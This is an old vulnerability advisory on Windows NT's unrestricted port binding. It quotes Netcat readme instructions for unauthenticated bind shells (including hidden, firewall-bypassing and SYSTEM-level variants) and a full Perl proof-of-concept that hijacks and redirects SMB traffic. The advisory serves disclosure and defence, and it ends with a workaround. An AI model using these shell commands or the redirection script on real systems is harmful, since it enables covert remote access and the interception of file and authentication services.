COMMAND
Port binding
SYSTEMS AFFECTED
Win NT
PROBLEM
Following is based on Weld Pond's finding described in L0pht
Advisory. NT allows any logged on user to bind to any port. It
also allows users to bind to the ports used by services such as
NETBIOS. By specifying a source IP to bind to, the user program
takes precedence over the NT services listening on the port. This
allows user programs to listen for connections even when the
machine is filtering incoming ports using the TCP/IP Security
Network filters, if the machine is running any TCP/IP services.
This also allows a user program to disrupt services that are
running on the machine such as file sharing that otherwise would
require administrator privileges to terminate.
Netcat for NT allows a user to set up connections such as this.
The zip file for the executable and source code is located at:
http://www.l0pht.com/~weld/netcat/
Below is the part of readme.txt file for Netcat 1.10 for NT which
describes this in detail plus other interesting things the program
can do.
Basic Features:
* Outbound or inbound connections, TCP or UDP, to or from any
ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard input
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT:
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a
new connection
A simple example of using Netcat is to pull down a web page from a
web server. With Netcat you get to see the full HTTP header so
you can see which web server a particular site is running. Since
NT has a rather anemic command processor, some of the things that
are easy in unix may be a bit more clunky in NT. For the web page
example first create a file get.txt that contains the following
line and then a blank line:
GET / HTTP/1.0
To use Netcat to retrieve the home page of a web site use the
command:
nc -v www.website.com 80 < get.txt
You will see Netcat make a connection to port 80, send the text
contained in the file get.txt, and then output the web server's
response to stdout. The -v is for verbose. It tells you a little
info about the connection when it starts. It is a bit easier to
just open the connection and then type at the console to do the
same thing.
nc -v www.website.com 80
Then just type in GET / HTTP/1.0 and hit a couple of returns. You
will see the same thing as above.
A far more exciting thing to do is to get a quick shell going on a
remote machine by using the -l or "listen" option and the -e or
"execute" option. You run Netcat listening on particular port
for a connection. When a connection is made, Netcat executes the
program of your choice and connects the stdin and stdout of the
program to the network connection:
nc -l -p 23 -t -e cmd.exe
will get Netcat listening on port 23 (telnet). When it gets
connected to by a client it will spawn a shell (cmd.exe). The -t
option tells Netcat to handle any telnet negotiation the client
might expect. This will allow you to telnet to the machine you
have Netcat listening on and get a cmd.exe shell when you connect.
You could just as well use Netcat instead of telnet:
nc xxx.xxx.xxx.xxx 23
will get the job done. There is no authentication on the listening
side so be a bit careful here. The shell is running with the
permissions of the process that started Netcat so be very careful.
If you were to use the AT program to schedule Netcat to run
listening on a port with the -e cmd.exe option, when you connected
you would get a shell with user NT AUTHORITY\SYSTEM.
The beauty of Netcat really shines when you realize that you can
get it listening on ANY port doing the same thing. Do a little
exploring and see if the firewall you may be behind lets port 53
through. Run Netcat listening behind the firewall on port 53:
nc -L -p 53 -e cmd.exe
Then from outside the firewall connect to the listening machine:
nc -v xxx.xxx.xxx.xx 53
If you get a command prompt then you are executing commands on the
listening machine. Use 'exit' at the command prompt for a clean
disconnect. The -L (note the capital L) option will restart Netcat
with the same command line when the connection is terminated. This
way you can connect over and over to the same Netcat process. A
new feature for the NT version is the -d or detach from console
flag. This will let Netcat run without an ugly console window
cluttering up the screen or showing up in the task list. You can
even get Netcat to listen on the NETBIOS ports that are probably
running on most NT machines. This way you can get a connection to
a machine that may have port filtering enabled in the TCP/IP
Security Network control panel. Unlike Unix, NT does not seem to
have any security around which ports that user programs are
allowed to bind to. This means any user can run a program that
will bind to the NETBIOS ports. You will need to bind "in front
of" some services that may already be listening on those ports.
An example is the NETBIOS Session Service that is running on port
139 of NT machines that are sharing files. You need to bind to a
specific source address (one of the IP addresses of the machine)
to accomplish this. This gives Netcat priority over the NETBIOS
service which is at a lower priority because it is bound to ANY
IP address. This is done with the Netcat -s option:
nc -v -L -e cmd.exe -p 139 -s xxx.xxx.xxx.xxx
Now you can connect to the machine on port 139 and Netcat will
field the connection before NETBIOS does. You have effectively
shut off file sharing on this machine by the way. You have done
this with just user privileges to boot.
Following program uses the NT port binding vulnerability to
redirect a machine's SMB services to another machine. It was
posted by Andrew Tridgell on the Common Internet File System
mailing list. It has some interesting consequences for a Hydra
server. The full message and the thread surrounding it is
available via the web at:
http://discuss.microsoft.com/SCRIPTS/WA-MSD.EXE?A2=ind9802b&L=cifs&P=738
Script follows:
#!/usr/bin/perl
# This script demonstrates a major security problem with Windows
# NT4. It is based on an earlier script (paul.pl) that
# demonstrated a problem with a protocol change that Microsoft
# proposed. The change in this script takes advantage of a
# security hole pointed out by L0pht (http://www.l0pht.com/).
# What this script does is allow any unprivileged user on a NT
# Server to redirect the local SMB services to any other SMB
# server which they have an IP address for. This allows the user
# to redirect file, printer and authentication services to another
# server. This has enormous consequences for security.
# This script was written by Andrew Tridgell and is being sent to
# the CIFS discussion list so that CIFS developers become aware
# of this problem. It should be noted that the L0pht announcement
# (which predates this script) already provided an example command
# using netcat to achieve the same thing so this script does not
# actually offer malicious hackers anything more than what has
# already been widely distributed. I wrote this example so that
# the consequences would become clear to the people who are in a
# position to do something about fixing the problem.
# USAGE:
# To use this script install perl5 then run the command
# perl redirect.pl <localip> <remoteip>
# for example
# perl redirect.pl 192.168.2.13 192.168.2.10
# this would redirect any SMB connections made to the local server
# (whose IP address is 192.168.2.13) to the remote server
# 192.168.2.10. Any browsing, file access, authentication requests
# or printing done to the local server by SMB clients will be
# redirected to the remote server.
use IO::Socket;
use IO::Select;
if ($#ARGV != 1) {
print "Usage: redirect.pl <localip> <remoteip>\n";
exit 0;
}
my $local = $ARGV[0];
my $target = $ARGV[1];
my $smbport = "139";
my $Msg;
# this is a *SMBSERVER netbios name
my $netbname = "CKFDENECFDEFFCFGEFFCCACACACACACA";
print "setting up redirection from $local to $target ...\n";
# Create a local socket
$sock1 = new IO::Socket::INET(LocalAddr=>$local,LocalPort=>$smbport,
Proto=>'tcp',Listen=>5,Reuse=>1);
while (1) {
print "listening on $local\n";
# Accept a connection
$IS = $sock1->accept() || die;
# Open a socket to the remote host
$OS = new
IO::Socket::INET(PeerAddr=>$target,PeerPort=>$smbport,Proto=>'tcp') ||
die;
print "connected to $target\n";
# Create a read set for select()
$rs = new IO::Select();
$rs->add($IS,$OS);
$first = 1;
$finished = 0;
while(! $finished) {
($r_ready) = IO::Select->select($rs,undef,undef,undef);
foreach $i (@$r_ready) {
$o = $OS if $i == $IS;
$o = $IS if $i == $OS;
recv($i,$Msg,8192,0);
if (! length $Msg) {
$finished = 1;
break;
}
if ($first && substr($Msg,0,1) eq "\x81") {
print "replacing called name\n";
$msg2 =
join('',substr($Msg,0,5),$netbname,substr($Msg,37,length($Msg)-37));
send($o,$msg2,0);
$first = 0;
} else {
if ($i == $OS) { $Msg =~ s/Paul/Oops/mg;}
send($o,$Msg,0);
}
}
}
# loop back to the top again
}
SOLUTION
There is no immediate fix to this security problem yet available.
A workaround for given example (perl script) is to disable local
login access to non-trusted users. This can be achieved using the
"User Manager For Domains". At many sites this will be an
acceptable solution because NT servers are often used only for
remote file and printer services and do not really need to offer
the ability for users to run arbitrary programs. A proper fix
will require a patch from Microsoft. Hopefully they will either
implement privileged ports or they will get the socket options
correct on all their servers so such bind() tricks are not
possible.